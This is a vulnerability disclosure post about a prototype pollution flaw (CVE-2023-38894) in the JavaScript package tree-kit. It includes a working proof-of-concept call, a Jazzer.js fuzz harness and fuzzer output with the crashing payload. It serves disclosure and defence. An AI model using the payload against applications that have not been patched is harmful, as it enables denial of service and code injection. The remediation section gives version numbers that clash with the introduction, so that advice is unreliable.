Skip to content
Roman Wagner3 min read

New Vulnerability in tree-kit: Prototype Pollution - CVE-2023-38894

We have found a new Prototype Pollution vulnerability in the JavaScript package tree-kit in all versions before 0.7.5. The maintainer of tree-kit has released an update that fixed the issue on 21 July 2023. The vulnerability was discovered by Peter Samarin using Jazzer.js with our newly integrated Prototype Pollution bug detector. This finding emerged in part from our collaboration with Google's OSS-Fuzz and puts affected applications at risk of remote code execution and denial of service attacks.

Vulnerability Description

The prototype pollution can be initiated via the extend function when option unflat is set. Here is an example:

const treekit = require("tree-kit");

treekit.extend({unflat: true}, {}, {'constructor.prototype.polluted': true});
console.log({}.polluted); // prints "true

Impact and Risks

An attacker-controlled object, e.g. data in JSON format received over the network and parsed by the application using tree-kit's extend function, can be used to pollute the prototype of the Object.prototype by adding and overwriting its data and functions. These data and functions will be available in all objects created henceforth.

Depending on the application that uses the tree-kit library, this vulnerability can result in follow-up issues, such as:

  • Remote code execution (RCE)
  • A denial of service attack (DoS) by overriding some built-in functions (e.g. toString)
  • Authentication/validation bypass
  • Privilege escalation
  • Cross-site scripting (XSS)

Mitigation and Remediation

The maintainers have already released an update fixing the issue. Versions from 6.10.0 to 7.2.4 are affected and thus vulnerable to Prototype Pollution. We strongly recommend that impacted users upgrade to the newer version that includes the fixes, i.e., version 7.2.4 and above.

How Did We Find It?

We found the issue by using our JavaScript fuzzer: Jazzer.js. Here is the setup to reproduce the issue using Jazzer.js:

The fuzz.js file:

const treekit = require("tree-kit");
module.exports.fuzzFn = function(data) {
    try {
treekit.extend({ unflat: true }, {}, JSON.parse(data.toString()));
    } catch(e){}
}

Notable info in the package.json is the script for running the fuzzer:

{
    "scripts": {
        "fuzz": "jazzer fuzz -f fuzzFn -i tree-kit --sync -- -dict=dict.txt"
    },
    "dependencies": {
        "tree-kit": "0.7.4"
    },
    "devDependencies": {
        "@jazzer.js/core": "^1.6.1"
    }
}

The extend function expects valid objects that we provide to it using JSON.parse().
However, the fuzzer will usually spend some time finding inputs that result in valid JavaScript objects.
To help the fuzzer, we put this into the dictionary file dict.txt:

"{\"test\": {\"property\": \"true\"}}"

Running the script with npm run fuzz command results in the following output (“...” means some lines were deleted):

> fuzz
> jazzer fuzz -f fuzzFn -i tree-kit --sync -- -dict=dict.txt
...
INFO: Seed: 1508363828
...
#3190   NEW    cov: 71 ft: 71 corp: 3/33b lim: 33 exec/s: 0 rss: 155Mb L: 31/31 MS: 3 InsertByte-EraseBytes-ManualDict- DE: "{\"test\": {\"property\": \"true\"}}"-
#3195   REDUCE cov: 71 ft: 71 corp: 3/32b lim: 33 exec/s: 0 rss: 155Mb L: 30/30 MS: 5 CopyPart-EraseBytes-CopyPart-ChangeBinInt-PersAutoDict- DE: "{\"test\": {\"property\": \"true\"}}"-
#3537   REDUCE cov: 71 ft: 71 corp: 3/29b lim: 33 exec/s: 0 rss: 155Mb L: 27/27 MS: 2 PersAutoDict-EraseBytes- DE: "{\"test\": {\"property\": \"true\"}}"-
#5976   REDUCE cov: 77 ft: 77 corp: 4/63b lim: 43 exec/s: 0 rss: 156Mb L: 41/41 MS: 1 ManualDict- DE: "constructor.prototype"-
...
#17090  REDUCE cov: 82 ft: 101 corp: 15/583b lim: 98 exec/s: 0 rss: 159Mb L: 89/89 MS: 1 EraseBytes-
==3524== Prototype Pollution: Prototype of Object changed. Additional properties in object1: { 'tre0': [object Object] }

MS: 1 ManualDict- DE: "__proto__"-; base unit: 2ccbd755e648bb96a1a46ed5c9b80d7fab5d3e5e
0x7b,0x22,0x63,0x6f,0x6e,0x73,0x2e,0x5f,0x5f,0x70,0x72,0x6f,0x74,0x6f,0x5f,0x5f,0x2e,0x74,0x72,0x65,0x30,0x22,0x3a,0x20,0x7b,0x22,0x70,0x72,0x72,0x22,0x3a,0x20,0x22,0x74,0x61,0x22,0x7d,0x7d,
{\"cons.__proto__.tre0\": {\"prr\": \"ta\"}}
artifact_prefix='./'; Test unit written to ./crash-ba1a28a50be4cbbe5f3f70e965ff37bc7e685a12
Base64: eyJjb25zLl9fcHJvdG9fXy50cmUwIjogeyJwcnIiOiAidGEifX0=

 

Prototype Pollution Attacks

Prototype pollution vulnerabilities in JavaScript typically involve user-supplied data that is not properly validated or sanitized. By carefully crafting input that influences object creation or manipulation, an attacker can modify the prototype chain and introduce malicious properties or methods. This manipulation can occur in third-party libraries, frameworks, or even custom code.

References

Acknowledgments

We thank Cédric Ronvel for responding to the issue and providing a quick fix and a new release.

Related Articles